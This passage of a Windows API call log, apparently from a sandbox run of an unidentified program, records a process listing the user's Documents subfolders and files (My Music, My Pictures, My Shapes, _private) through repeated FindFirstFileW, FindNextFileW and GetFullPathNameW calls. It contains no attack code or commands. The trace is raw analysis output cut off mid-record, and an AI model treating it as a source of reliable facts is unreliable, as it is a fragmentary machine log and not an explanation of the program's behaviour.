lpFilePart=0x0) returned 0x30 [0080.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", lpFilePart=0x0) returned 0x31 [0080.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e830) returned 1 [0080.283] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0080.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", lpFilePart=0x0) returned 0x34 [0080.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e830) returned 1 [0080.289] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0080.289] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.289] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpFilePart=0x0) returned 0x32 [0080.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.293] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.293] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.293] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0080.294] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, 